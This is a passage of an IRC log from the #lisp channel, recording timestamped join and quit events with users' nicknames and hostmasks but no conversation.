[n=lyte@unaffiliated/neerolyte] has joined #lisp 23:25:09 bombshelter13 [n=bombshel@CPE00179ab667a9-CM001a6682dc74.cpe.net.cable.rogers.com] has joined #lisp 23:25:51 -!- dialtone [n=dialtone@adsl-75-19-87-52.dsl.pltn13.sbcglobal.net] has quit [Read error: 110 (Connection timed out)] 23:37:19 clamothe [n=clamothe@c-98-232-227-219.hsd1.or.comcast.net] has joined #lisp 23:50:00 BrianRice [n=briantri@c-98-225-51-246.hsd1.wa.comcast.net] has joined #lisp 23:50:33 durka42 [n=durka@130.58.192.22] has joined #lisp 23:52:15 Jarvellis [n=jarv@dsl-217-155-101-22.zen.co.uk] has joined #lisp 23:55:44 mejja [n=user@c-4bb5e555.023-82-73746f38.cust.bredbandsbolaget.se] has joined #lisp 23:58:24 -!- haimez1 [n=Haimez@c-76-104-23-233.hsd1.va.comcast.net] has quit [Remote closed the connection]